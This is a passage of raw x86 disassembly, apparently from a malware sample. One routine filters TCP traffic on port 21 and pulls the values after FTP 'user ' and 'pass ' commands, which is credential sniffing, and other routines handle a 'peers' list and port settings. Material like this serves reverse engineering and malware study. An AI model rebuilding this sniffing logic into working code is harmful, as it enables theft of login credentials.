esp, 0Ch push 0FFFFh push ebx mov ecx, edi call sub_408D2A test eax, eax jle loc_409364 cmp byte ptr [ebx+9], 6 jnz loc_409364 movzx eax, byte ptr [ebx] and eax, 0Fh lea edi, [ebx+eax*4] movsx ax, byte ptr [edi] movsx cx, byte ptr [edi+1] shl ax, 8 add ax, cx movsx cx, byte ptr [edi+3] movzx eax, ax mov [ebp+var_18], eax movsx ax, byte ptr [edi+2] shl ax, 8 add ax, cx push 10h movzx eax, ax push esi push [ebp+var_8] mov [ebp+var_14], eax call sub_40CCD9 add esp, 0Ch cmp word ptr [ebp+var_18], 15h jz short loc_40926E cmp word ptr [ebp+var_14], 15h jnz loc_409364 loc_40926E: ; CODE XREF: sub_409170+F1j movzx esi, byte ptr [edi+0Ch] shr esi, 2 add esi, edi mov al, [esi] test al, al jz loc_409362 movsx eax, al push eax call sub_40CF0C cmp eax, 75h pop ecx jnz short loc_4092F0 movsx eax, byte ptr [esi+1] push eax call sub_40CF0C cmp eax, 73h pop ecx jnz short loc_4092F0 movsx eax, byte ptr [esi+2] push eax call sub_40CF0C cmp eax, 65h pop ecx jnz short loc_4092F0 movsx eax, byte ptr [esi+3] push eax call sub_40CF0C cmp eax, 72h pop ecx jnz short loc_4092F0 cmp byte ptr [esi+4], 20h jnz short loc_4092F0 mov ecx, [ebp+var_4] push esi call sub_408D40 mov edi, [ebx+10h] add esi, 5 push esi lea ecx, [ebp+var_10] call sub_40DCEB mov ecx, [ebp+var_4] lea eax, [ebp+var_10] push eax push edi call sub_408F6A lea ecx, [ebp+var_10] jmp short loc_40935D ; --------------------------------------------------------------------------- loc_4092F0: ; CODE XREF: sub_409170+11Ej ; sub_409170+12Ej ... movsx eax, byte ptr [esi] push eax call sub_40CF0C cmp eax, 70h pop ecx jnz short loc_409362 movsx eax, byte ptr [esi+1] push eax call sub_40CF0C cmp eax, 61h pop ecx jnz short loc_409362 movsx eax, byte ptr [esi+2] push eax call sub_40CF0C cmp eax, 73h pop ecx jnz short loc_409362 movsx eax, byte ptr [esi+3] push eax call sub_40CF0C cmp eax, 73h pop ecx jnz short loc_409362 cmp byte ptr [esi+4], 20h jnz short loc_409362 mov ecx, [ebp+var_4] push esi call sub_408D40 mov edi, [ebx+10h] add esi, 5 push esi lea ecx, [ebp+var_C] call sub_40DCEB mov ecx, [ebp+var_4] lea eax, [ebp+var_C] push eax push edi call sub_408FBB lea ecx, [ebp+var_C] loc_40935D: ; CODE XREF: sub_409170+17Ej call sub_40DB59 loc_409362: ; CODE XREF: sub_409170+10Bj ; sub_409170+18Dj ... xor esi, esi loc_409364: ; CODE XREF: sub_409170+74j ; sub_409170+98j ... mov edi, [ebp+var_4] loc_409367: ; CODE XREF: sub_409170+3Cj push 1 push esi push dword ptr [edi+30h] call ds:dword_4180B0 test eax, eax jnz loc_4091B1 cmp [ebp+var_8], esi jz short loc_409389 push [ebp+var_8] call sub_40D0B6 pop ecx loc_409389: ; CODE XREF: sub_409170+20Ej cmp ebx, esi jz short loc_409394 push ebx call sub_40D0B6 pop ecx loc_409394: ; CODE XREF: sub_409170+21Bj pop edi pop esi pop ebx leave retn 4 sub_409170 endp ; =============== S U B R O U T I N E ======================================= sub_40939B proc near ; CODE XREF: sub_403CCB+C6p push ebx push esi push edi mov edi, ecx call sub_408D8E lea esi, [edi+20h] xor ebx, ebx push 1 lea ecx, [edi+30h] mov [esi+0Ch], ebx mov [esi+8], ebx mov [esi+4], ebx call sub_4012FC lea eax, [edi+34h] push eax call ds:dword_4180D4 mov ecx, edi mov [edi+1Ch], ebx call sub_408DB8 test al, al jz short loc_4093EA push ebx mov ecx, esi mov dword ptr [esi+0Ch], offset sub_409170 mov [esi+8], edi mov [esi+4], ebx call sub_40174B loc_4093EA: ; CODE XREF: sub_40939B+38j mov eax, edi pop edi pop esi pop ebx retn sub_40939B endp ; =============== S U B R O U T I N E ======================================= sub_4093F0 proc near ; CODE XREF: sub_402BDD+23j ; sub_4068A2+6Dp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_409403 push eax call sub_40D0B6 and dword ptr [esi], 0 pop ecx loc_409403: ; CODE XREF: sub_4093F0+7j pop esi retn sub_4093F0 endp ; =============== S U B R O U T I N E ======================================= sub_409405 proc near ; CODE XREF: sub_40951B+29p push esi mov esi, ecx lea ecx, [esi+10h] call sub_4093F0 lea ecx, [esi+4] call sub_40DB59 mov ecx, esi pop esi jmp sub_40DB59 sub_409405 endp ; =============== S U B R O U T I N E ======================================= sub_409420 proc near ; CODE XREF: sub_409588+91p push esi mov esi, ecx call sub_40DB48 lea ecx, [esi+4] call sub_40DB48 and dword ptr [esi+10h], 0 mov eax, esi pop esi retn sub_409420 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409438 proc near ; DATA XREF: .rdata:off_41821Co var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, ecx lea ebx, [edi+0Ch] push ebx mov [ebp+var_4], ebx call ds:dword_4180DC xor esi, esi cmp [edi+8], esi jbe short loc_40946F loc_409455: ; CODE XREF: sub_409438+35j mov eax, [edi+4] push [ebp+arg_0] lea eax, [eax+esi*4] mov ecx, [eax] call sub_401ABD test al, al jnz short loc_409472 inc esi cmp esi, [edi+8] jb short loc_409455 loc_40946F: ; CODE XREF: sub_409438+1Bj push ebx jmp short loc_4094D9 ; --------------------------------------------------------------------------- loc_409472: ; CODE XREF: sub_409438+2Fj mov ebx, esi mov esi, [edi+4] shl ebx, 2 add esi, ebx call sub_40CF34 mov ecx, [esi] mov ecx, [ecx+0Ch] dec ecx imul eax, ecx cdq mov ecx, 7FFFh idiv ecx mov ecx, [edi+4] mov ecx, [ebx+ecx] mov esi, eax mov eax, [ecx+10h] mov ecx, [ecx+4] shl esi, 2 mov eax, [esi+eax] jmp short loc_4094B2 ; --------------------------------------------------------------------------- loc_4094A8: ; CODE XREF: sub_409438+80j cmp dl, 0Ah jz short loc_4094BA test dl, dl jz short loc_4094BA inc eax loc_4094B2: ; CODE XREF: sub_409438+6Ej mov dl, [ecx+eax] cmp dl, 0Dh jnz short loc_4094A8 loc_4094BA: ; CODE XREF: sub_409438+73j ; sub_409438+77j mov ecx, [edi+4] mov ebx, [ebx+ecx] mov ecx, [ebx+10h] add ecx, esi sub eax, [ecx] push eax mov eax, [ebx+4] add eax, [ecx] mov ecx, [ebp+arg_4] push eax call sub_40DB5E push [ebp+var_4] loc_4094D9: ; CODE XREF: sub_409438+38j call ds:dword_4180E0 pop edi pop esi pop ebx leave retn 8 sub_409438 endp ; =============== S U B R O U T I N E ======================================= sub_4094E6 proc near ; CODE XREF: sub_409570+8p arg_0 = dword ptr 4 push esi mov esi, ecx mov eax, [esi] test eax, eax push edi jz short loc_40950D mov edi, [esp+8+arg_0] mov ecx, edi shl ecx, 2 push ecx push eax call sub_40CA55 test eax, eax pop ecx pop ecx jz short loc_409516 mov [esi+4], edi mov [esi], eax jmp short loc_409516 ; --------------------------------------------------------------------------- loc_40950D: ; CODE XREF: sub_4094E6+8j push [esp+8+arg_0] call sub_406B7C loc_409516: ; CODE XREF: sub_4094E6+1Ej ; sub_4094E6+25j pop edi pop esi retn 4 sub_4094E6 endp ; =============== S U B R O U T I N E ======================================= sub_40951B proc near ; CODE XREF: sub_402400+F8p push ebp push esi mov esi, ecx push edi lea ebp, [esi+0Ch] push ebp mov dword ptr [esi], offset off_41821C call ds:dword_4180DC xor edi, edi cmp [esi+8], edi jbe short loc_409557 push ebx loc_409538: ; CODE XREF: sub_40951B+39j mov eax, [esi+4] mov ebx, [eax+edi*4] test ebx, ebx jz short loc_409550 mov ecx, ebx call sub_409405 push ebx call sub_40D0B6 pop ecx loc_409550: ; CODE XREF: sub_40951B+25j inc edi cmp edi, [esi+8] jb short loc_409538 pop ebx loc_409557: ; CODE XREF: sub_40951B+1Aj push ebp call ds:dword_4180E0 push ebp call ds:dword_4180D8 pop edi lea ecx, [esi+4] pop esi pop ebp jmp sub_401F70 sub_40951B endp ; =============== S U B R O U T I N E ======================================= sub_409570 proc near ; CODE XREF: sub_402512+B0p ; sub_409588+A4p push esi mov esi, ecx mov eax, [esi+4] inc eax push eax call sub_4094E6 mov eax, [esi+4] mov ecx, [esi] lea eax, [ecx+eax*4-4] pop esi retn sub_409570 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409588 proc near ; CODE XREF: sub_401B10+24p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 10h push ebx push esi mov esi, ecx lea eax, [esi+0Ch] push edi push eax mov [ebp+var_10], eax call ds:dword_4180DC mov edi, [esi+8] xor ebx, ebx test edi, edi mov [ebp+var_1], 0 jbe short loc_4095CF loc_4095AD: ; CODE XREF: sub_409588+3Dj mov eax, [esi+4] push [ebp+arg_0] lea eax, [eax+ebx*4] mov ecx, [eax] call sub_401ABD test al, al jnz short loc_4095C9 inc ebx cmp ebx, [esi+8] jb short loc_4095AD jmp short loc_4095CF ; --------------------------------------------------------------------------- loc_4095C9: ; CODE XREF: sub_409588+37j mov [ebp+var_1], 1 mov edi, ebx loc_4095CF: ; CODE XREF: sub_409588+23j ; sub_409588+3Fj mov ecx, [ebp+arg_4] mov al, [ecx] and [ebp+var_8], 0 test al, al jz short loc_4095F0 loc_4095DC: ; CODE XREF: sub_409588+60j cmp al, 0Ah jnz short loc_4095E3 inc [ebp+var_8] loc_4095E3: ; CODE XREF: sub_409588+56j inc ecx mov al, [ecx] test al, al jnz short loc_4095DC cmp [ebp+var_8], 1 jge short loc_409605 loc_4095F0: ; CODE XREF: sub_409588+52j or esi, 0FFFFFFFFh loc_4095F3: ; CODE XREF: sub_409588+17Ej push [ebp+var_10] call ds:dword_4180E0 pop edi mov eax, esi pop esi pop ebx leave retn 0Ch ; --------------------------------------------------------------------------- loc_409605: ; CODE XREF: sub_409588+66j cmp [ebp+var_1], 0 jnz short loc_409643 push 14h call sub_40D0BB test eax, eax pop ecx jz short loc_409623 mov ecx, eax call sub_409420 mov [ebp+var_C], eax jmp short loc_409627 ; --------------------------------------------------------------------------- loc_409623: ; CODE XREF: sub_409588+8Dj and [ebp+var_C], 0 loc_409627: ; CODE XREF: sub_409588+99j lea ebx, [esi+4] mov ecx, ebx call sub_409570 mov ecx, [ebp+var_C] push [ebp+arg_0] mov [eax], ecx mov eax, [ebx] mov ecx, [eax+edi*4] call sub_4012E7 loc_409643: ; CODE XREF: sub_409588+81j mov eax, [esi+4] push [ebp+arg_4] shl edi, 2 mov ecx, [eax+edi] add ecx, 4 call sub_4012E7 mov eax, [ebp+var_8] xor ecx, ecx push 4 inc eax pop edx mul edx seto cl neg ecx or ecx, eax push ecx call sub_40D0BB pop ecx push eax mov eax, [esi+4] mov ecx, [eax+edi] add ecx, 10h call sub_408034 mov eax, [esi+4] mov eax, [eax+edi] mov ecx, [ebp+arg_8] and [ebp+arg_8], 0 mov [eax+8], ecx mov eax, [esi+4] mov eax, [eax+edi] mov eax, [eax+10h] and dword ptr [eax], 0 mov eax, [esi+4] mov eax, [eax+edi] xor ecx, ecx inc ecx mov [eax+0Ch], ecx mov eax, [esi+4] mov eax, [eax+edi] mov eax, [eax+4] cmp byte ptr [eax], 0 jz short loc_409704 mov [ebp+arg_4], ecx sub [ebp+arg_4], eax mov [ebp+arg_0], eax loc_4096BE: ; CODE XREF: sub_409588+177j mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 0Ah jnz short loc_4096F3 mov ecx, [ebp+arg_8] cmp byte ptr [ecx+eax+1], 0 jz short loc_4096F3 mov ecx, [esi+4] mov ecx, [ecx+edi] mov edx, [ecx+0Ch] lea ebx, [edx+1] mov [ecx+0Ch], ebx mov ebx, [ebp+arg_0] mov ecx, [ebp+arg_4] add ecx, ebx mov ebx, [esi+4] mov ebx, [ebx+edi] mov ebx, [ebx+10h] mov [ebx+edx*4], ecx loc_4096F3: ; CODE XREF: sub_409588+13Cj ; sub_409588+146j inc [ebp+arg_8] inc [ebp+arg_0] mov ecx, [ebp+arg_0] cmp byte ptr [ecx], 0 jnz short loc_4096BE xor ecx, ecx inc ecx loc_409704: ; CODE XREF: sub_409588+12Bj mov esi, ecx jmp loc_4095F3 sub_409588 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40970B proc near ; CODE XREF: sub_40A582+33p ; sub_40A7E2+1Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] mov eax, [ecx] movzx dx, byte ptr [eax] movzx edx, dx inc eax mov [ecx], eax mov [ebp+arg_0], edx movzx dx, byte ptr [eax] shl dx, 8 add word ptr [ebp+arg_0], dx inc eax mov [ecx], eax mov ax, word ptr [ebp+arg_0] pop ebp retn sub_40970B endp ; =============== S U B R O U T I N E ======================================= sub_409735 proc near ; CODE XREF: sub_40A582+28p ; sub_40B9D7+12Cp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] mov edx, [ecx] movzx eax, byte ptr [edx] inc edx mov [ecx], edx shl eax, 8 push esi movzx esi, byte ptr [edx] add eax, esi inc edx mov [ecx], edx movzx esi, byte ptr [edx] shl eax, 8 add eax, esi inc edx mov [ecx], edx movzx esi, byte ptr [edx] shl eax, 8 add eax, esi inc edx mov [ecx], edx pop esi retn sub_409735 endp ; =============== S U B R O U T I N E ======================================= sub_409765 proc near ; CODE XREF: sub_40A582+1Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_4] push esi mov esi, [esp+4+arg_0] xor edx, edx loc_409770: ; CODE XREF: sub_409765+18j mov eax, [ecx] mov al, [eax] mov [edx+esi], al inc dword ptr [ecx] inc edx cmp edx, 10h jl short loc_409770 mov eax, esi pop esi retn sub_409765 endp ; =============== S U B R O U T I N E ======================================= sub_409783 proc near ; CODE XREF: sub_40981B+12p ; sub_40A4A4+35p ... arg_0 = dword ptr 4 arg_4 = word ptr 8 mov eax, [esp+arg_0] mov edx, [eax] mov cx, [esp+arg_4] mov [edx], cl inc dword ptr [eax] mov edx, [eax] mov [edx], ch inc dword ptr [eax] mov eax, [eax] retn sub_409783 endp ; =============== S U B R O U T I N E ======================================= sub_40979B proc near ; CODE XREF: sub_409AD5+4Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov edx, [eax] mov ecx, [esp+arg_4] mov [edx], cl inc dword ptr [eax] mov edx, [eax] shr ecx, 8 mov [edx], cl inc dword ptr [eax] mov edx, [eax] shr ecx, 8 mov [edx], cl inc dword ptr [eax] mov edx, [eax] shr ecx, 8 mov [edx], cl inc dword ptr [eax] mov eax, [eax] retn sub_40979B endp ; =============== S U B R O U T I N E ======================================= sub_4097C7 proc near ; CODE XREF: sub_40A4A4+11p ; sub_40A4A4+2Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] mov ecx, [esp+arg_4] push esi mov esi, [eax] mov edx, ecx shr edx, 18h mov [esi], dl inc dword ptr [eax] mov esi, [eax] mov edx, ecx shr edx, 10h mov [esi], dl inc dword ptr [eax] mov esi, [eax] mov edx, ecx shr edx, 8 mov [esi], dl inc dword ptr [eax] mov edx, [eax] mov [edx], cl inc dword ptr [eax] mov eax, [eax] pop esi retn sub_4097C7 endp ; =============== S U B R O U T I N E ======================================= sub_4097FB proc near ; CODE XREF: sub_409AD5+38p ; sub_409AD5+44p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push ebx xor edx, edx push esi loc_409803: ; CODE XREF: sub_4097FB+1Bj mov eax, [ecx] mov esi, [esp+8+arg_4] mov bl, [edx+esi] mov [eax], bl inc dword ptr [ecx] mov eax, [ecx] inc edx cmp edx, 10h jl short loc_409803 pop esi pop ebx retn sub_4097FB endp ; =============== S U B R O U T I N E ======================================= sub_40981B proc near ; CODE XREF: sub_409AD5+96p ; sub_409AD5+A4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi mov edi, [esp+8+arg_4] push edi call sub_40CD83 mov esi, [esp+0Ch+arg_0] push eax push esi call sub_409783 add esp, 0Ch jmp short loc_409848 ; --------------------------------------------------------------------------- loc_409837: ; CODE XREF: sub_40981B+31j movzx eax, al push eax inc edi call sub_40CF0C pop ecx mov ecx, [esi] mov [ecx], al inc dword ptr [esi] loc_409848: ; CODE XREF: sub_40981B+1Aj mov al, [edi] test al, al jnz short loc_409837 pop edi pop esi retn sub_40981B endp ; =============== S U B R O U T I N E ======================================= sub_409851 proc near ; CODE XREF: sub_40A190+2Dp mov eax, [ecx] test eax, eax jz short loc_409863 mov eax, [eax+4] test eax, eax mov [ecx], eax jz short loc_409863 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_409863: ; CODE XREF: sub_409851+4j ; sub_409851+Dj xor eax, eax retn sub_409851 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409866 proc near ; CODE XREF: sub_40BFB2+22p var_1C = byte ptr -1Ch var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov ebx, 40000h push ebx call sub_40D0BB mov [ebp+var_4], eax mov eax, [ebp+arg_4] and dword ptr [eax], 0 call sub_40CF34 cdq mov ecx, 0F000h idiv ecx push [ebp+arg_0] mov eax, [ebp+arg_C] push ebx push [ebp+var_4] mov esi, offset aUport ; "uport" lea edi, [ebp+var_C] push offset a0 ; "0" add edx, 400h mov [eax], edx movsd lea eax, [ebp+var_C] movsw push eax mov edi, offset aLocal ; "local" push edi call sub_409E16 push [ebp+var_4] call sub_40CE59 mov esi, [ebp+arg_8] add esp, 20h test eax, eax mov [esi], eax jnz short loc_40990D call sub_40CF34 cdq mov ecx, 0F000h idiv ecx lea eax, [edx+400h] push eax mov [esi], eax lea eax, [ebp+var_1C] push offset aD ; "%d" push eax call sub_40CE18 push [ebp+arg_0] lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_C] push eax push edi call sub_409E56 add esp, 1Ch loc_40990D: ; CODE XREF: sub_409866+6Dj push [ebp+arg_0] mov esi, [ebp+var_4] push ebx push esi push offset aPeers ; "peers" call sub_409DA5 add esp, 10h test eax, eax jnz short loc_40993B test esi, esi jz short loc_409931 push esi call sub_40D0B6 pop ecx loc_409931: ; CODE XREF: sub_409866+C2j or eax, 0FFFFFFFFh loc_409934: ; CODE XREF: sub_409866+17Fj pop edi pop esi pop ebx leave retn 14h ; --------------------------------------------------------------------------- loc_40993B: ; CODE XREF: sub_409866+BEj and [ebp+arg_0], 0 cmp byte ptr [esi], 0 jz loc_4099D7 mov ebx, [ebp+arg_10] loc_40994B: ; CODE XREF: sub_409866+165j push 3Dh push esi call sub_40CECD test eax, eax pop ecx pop ecx jz short loc_40995C mov byte ptr [eax], 0 loc_40995C: ; CODE XREF: sub_409866+F1j push 20h call sub_40D0BB test eax, eax pop ecx jz short loc_409973 mov ecx, eax call sub_40A0F0 mov edi, eax jmp short loc_409975 ; --------------------------------------------------------------------------- loc_409973: ; CODE XREF: sub_409866+100j xor edi, edi loc_409975: ; CODE XREF: sub_409866+10Bj push esi push edi call sub_409F2C push esi call sub_40CD83 lea esi, [esi+eax+1] push 8 push esi call sub_40C6D8 add esi, 8 push 4 push esi mov [edi+10h], eax call sub_40C6D8 movzx eax, ax add esi, 4 push 2 push esi mov [edi+14h], eax call sub_40C6D8 push esi mov [edi+1Ch], al call sub_40CD83 add esp, 28h push edi mov ecx, ebx lea esi, [esi+eax+1] call sub_4151CB inc [ebp+arg_0] cmp byte ptr [esi], 0 jnz loc_40994B cmp [ebp+arg_0], 0 jnz short loc_4099EA loc_4099D7: ; CODE XREF: sub_409866+DCj push 0FFFFFFFEh pop esi loc_4099DA: ; CODE XREF: sub_409866+187j push [ebp+var_4] call sub_40D0B6 pop ecx mov eax, esi jmp loc_409934 ; --------------------------------------------------------------------------- loc_4099EA: ; CODE XREF: sub_409866+16Fj mov esi, [ebx+4] jmp short loc_4099DA sub_409866 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4099EF proc near ; CODE XREF: sub_40B56E+D9p var_108 = byte ptr -108h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 108h push ebx push esi mov esi, [ebp+arg_4] push edi lea eax, [esi+8] xor edi, edi push eax mov [ebp+var_4], edi mov [ebp+var_8], eax call ds:dword_4180DC mov eax, [esi] test eax, eax mov ebx, offset aPeers ; "peers" jz short loc_409A48 loc_409A1B: ; CODE XREF: sub_4099EF+3Ej mov ecx, [eax] cmp byte ptr [ecx+1Dh], 0 jz short loc_409A24 inc edi loc_409A24: ; CODE XREF: sub_4099EF+32j test eax, eax jz short loc_409A2F mov eax, [eax+4] test eax, eax jnz short loc_409A1B loc_409A2F: ; CODE XREF: sub_4099EF+37j cmp edi, 96h jle short loc_409A48 push [ebp+arg_0] push offset dword_41BDD8 push ebx call sub_409DDF add esp, 0Ch loc_409A48: ; CODE XREF: sub_4099EF+2Aj ; sub_4099EF+46j mov edi, [esi] jmp short loc_409AAF ; --------------------------------------------------------------------------- loc_409A4C: ; CODE XREF: sub_4099EF+C2j mov esi, [edi] cmp byte ptr [esi+1Dh], 0 jz short loc_409AA8 and [ebp+arg_4], 0 lea eax, [ebp+arg_4] push eax push 10h push esi call sub_40C7A1 movzx eax, byte ptr [esi+1Ch] push eax push dword ptr [esi+14h] lea eax, [ebp+var_108] push dword ptr [esi+10h] push offset a08x04x02x ; "%08X%04X%02X" push eax call sub_40CE18 push [ebp+arg_0] lea eax, [ebp+var_108] push eax push [ebp+arg_4] push ebx call sub_409E56 add esp, 30h inc [ebp+var_4] cmp [ebp+arg_4], 0 jz short loc_409AA8 push [ebp+arg_4] call sub_40D0B6 pop ecx loc_409AA8: ; CODE XREF: sub_4099EF+63j ; sub_4099EF+AEj test edi, edi jz short loc_409AB3 mov edi, [edi+4] loc_409AAF: ; CODE XREF: sub_4099EF+5Bj test edi, edi jnz short loc_409A4C loc_409AB3: ; CODE XREF: sub_4099EF+BBj push [ebp+var_8] call ds:dword_4180E0 mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn 8 sub_4099EF endp ; =============== S U B R O U T I N E ======================================= sub_409AC6 proc near ; CODE XREF: sub_40C149+Dp mov eax, ecx and dword ptr [eax+8], 0 retn sub_409AC6 endp ; =============== S U B R O U T I N E ======================================= sub_409ACD proc near ; CODE XREF: sub_40C149+144p add ecx, 8 jmp sub_4093F0 sub_409ACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409AD5 proc near ; CODE XREF: sub_40C149+1Ep var_1004 = byte ptr -1004h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov eax, 1004h call sub_4011B0 push ebx mov ebx, [ebp+arg_8] push esi lea eax, [ebp+var_1004] xor esi, esi test ebx, ebx push edi mov edi, ecx mov [ebp+var_4], eax jz short loc_409B06 push ebx call sub_40CD83 cmp eax, 2 pop ecx jbe short loc_409B06 inc esi loc_409B06: ; CODE XREF: sub_409AD5+22j ; sub_409AD5+2Ej push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_4097FB push [ebp+arg_4] lea eax, [ebp+var_4] push eax call sub_4097FB lea eax, [ebp+var_4] push esi push eax call sub_40979B add esp, 18h test esi, esi jbe short loc_409B99 mov eax, [ebp+var_4] push 3Dh mov byte ptr [eax], 2 inc [ebp+var_4] push ebx call sub_40CECD mov esi, eax test esi, esi pop ecx pop ecx mov [ebp+arg_0], esi jz short loc_409B8D sub esi, ebx lea eax, [esi+1] push eax call sub_40D0BB push esi push [ebp+arg_8] mov ebx, eax push ebx call sub_40CD9D lea eax, [ebp+var_4] push ebx push eax mov byte ptr [ebx+esi], 0 call sub_40981B mov eax, [ebp+arg_0] inc eax push eax lea eax, [ebp+var_4] push eax call sub_40981B add esp, 20h test ebx, ebx jz short loc_409B99 push ebx call sub_40D0B6 jmp short loc_409B98 ; --------------------------------------------------------------------------- loc_409B8D: ; CODE XREF: sub_409AD5+74j lea eax, [ebp+var_4] push ebx push eax call sub_40981B pop ecx loc_409B98: ; CODE XREF: sub_409AD5+B6j pop ecx loc_409B99: ; CODE XREF: sub_409AD5+58j ; sub_409AD5+AEj mov eax, [ebp+var_4] lea ecx, [ebp+var_1004] sub eax, ecx push eax mov [edi+4], eax call sub_40D0BB pop ecx lea esi, [edi+8] push eax mov ecx, esi call sub_408034 push dword ptr [edi+4] lea eax, [ebp+var_1004] push eax push dword ptr [esi] call sub_40CCF7 push 0 call sub_40CFAE add esp, 10h mov [edi], eax pop edi pop esi pop ebx leave retn 0Ch sub_409AD5 endp ; =============== S U B R O U T I N E ======================================= sub_409BDD proc near ; CODE XREF: sub_4049A1:loc_404A2Cp mov eax, [ecx+8] test eax, eax jz short loc_409BEE cmp dword ptr [ecx+4], 20h jb short loc_409BEE add eax, 10h retn ; --------------------------------------------------------------------------- loc_409BEE: ; CODE XREF: sub_409BDD+5j ; sub_409BDD+Bj xor eax, eax retn sub_409BDD endp ; =============== S U B R O U T I N E ======================================= sub_409BF1 proc near ; CODE XREF: sub_40A442+1Ep ; sub_40A442+26p ... push esi mov esi, ecx and dword ptr [esi], 0 and dword ptr [esi+4], 0 lea eax, [esi+8] push eax call ds:dword_4180D4 mov eax, esi pop esi retn sub_409BF1 endp ; =============== S U B R O U T I N E ======================================= sub_409C09 proc near ; CODE XREF: sub_409C28+22p ; sub_409C8E+34p arg_0 = byte ptr 4 push esi mov esi, ecx lea ecx, [esi+8] call sub_4093F0 test [esp+4+arg_0], 1 jz short loc_409C22 push esi call sub_40D0B6 pop ecx loc_409C22: ; CODE XREF: sub_409C09+10j mov eax, esi pop esi retn 4 sub_409C09 endp ; =============== S U B R O U T I N E ======================================= sub_409C28 proc near ; CODE XREF: sub_409C66+12p arg_0 = byte ptr 4 push ebx mov ebx, ecx push esi mov esi, [ebx] test esi, esi jz short loc_409C61 push edi loc_409C33: ; CODE XREF: sub_409C28+36j cmp [esp+0Ch+arg_0], 0 jz short loc_409C4F test esi, esi jz short loc_409C42 mov ecx, [esi] jmp short loc_409C44 ; --------------------------------------------------------------------------- loc_409C42: ; CODE XREF: sub_409C28+14j xor ecx, ecx loc_409C44: ; CODE XREF: sub_409C28+18j test ecx, ecx jz short loc_409C4F push 1 call sub_409C09 loc_409C4F: ; CODE XREF: sub_409C28+10j ; sub_409C28+1Ej mov edi, [esi+4] push esi mov ecx, ebx call sub_4041B2 test edi, edi mov esi, edi jnz short loc_409C33 pop edi loc_409C61: ; CODE XREF: sub_409C28+8j pop esi pop ebx retn 4 sub_409C28 endp ; =============== S U B R O U T I N E ======================================= sub_409C66 proc near ; CODE XREF: sub_40442E+Cp ; sub_40A48A+Cp push esi push edi mov edi, ecx lea esi, [edi+8] push esi call ds:dword_4180DC push 1 mov ecx, edi call sub_409C28 push esi call ds:dword_4180E0 push esi call ds:dword_4180D8 pop edi pop esi retn sub_409C66 endp ; =============== S U B R O U T I N E ======================================= sub_409C8E proc near ; CODE XREF: sub_40B56E+B4p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi mov edi, ecx lea ebp, [edi+8] push ebp xor bl, bl call ds:dword_4180DC push 0 call sub_40CFAE mov esi, [edi] pop ecx mov [esp+14h+var_4], eax jmp short loc_409CE3 ; --------------------------------------------------------------------------- loc_409CB1: ; CODE XREF: sub_409C8E+57j mov ecx, [esi] mov eax, [esp+14h+var_4] sub eax, [ecx] cmp eax, 708h jle short loc_409CD8 push 1 call sub_409C09 mov ebx, [esi+4] push esi mov ecx, edi call sub_4041B2 mov esi, ebx mov bl, 1 jmp short loc_409CE3 ; --------------------------------------------------------------------------- loc_409CD8: ; CODE XREF: sub_409C8E+30j test esi, esi jz short loc_409CE7 mov esi, [esi+4] test esi, esi jz short loc_409CE7 loc_409CE3: ; CODE XREF: sub_409C8E+21j ; sub_409C8E+48j test esi, esi jnz short loc_409CB1 loc_409CE7: ; CODE XREF: sub_409C8E+4Cj ; sub_409C8E+53j push ebp call ds:dword_4180E0 pop edi pop esi pop ebp mov al, bl pop ebx pop ecx retn sub_409C8E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_409CF6 proc near ; CODE XREF: sub_40A9A0+5Fp ; sub_40B9D7+D5p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, ecx lea eax, [esi+8] push edi push eax mov [ebp+var_8], esi mov [ebp+var_4], eax call ds:dword_4180DC mov esi, [esi] mov ebx, [ebp+arg_4] jmp short loc_409D34 ; --------------------------------------------------------------------------- loc_409D17: ; CODE XREF: sub_409CF6+40j mov edi, [esi] cmp ebx, [edi+4] jnz short loc_409D31 push ebx push dword ptr [edi+8] push [ebp+arg_0] call sub_40CD18 add esp, 0Ch test eax, eax jz short loc_409D4B loc_409D31: ; CODE XREF: sub_409CF6+26j mov esi, [esi+4] loc_409D34: ; CODE XREF: sub_409CF6+1Fj test esi, esi jnz short loc_409D17 push 0Ch call sub_40D0BB test eax, eax pop ecx jz short loc_409D69 and [eax+8], esi mov esi, eax jmp short loc_409D6B ; --------------------------------------------------------------------------- 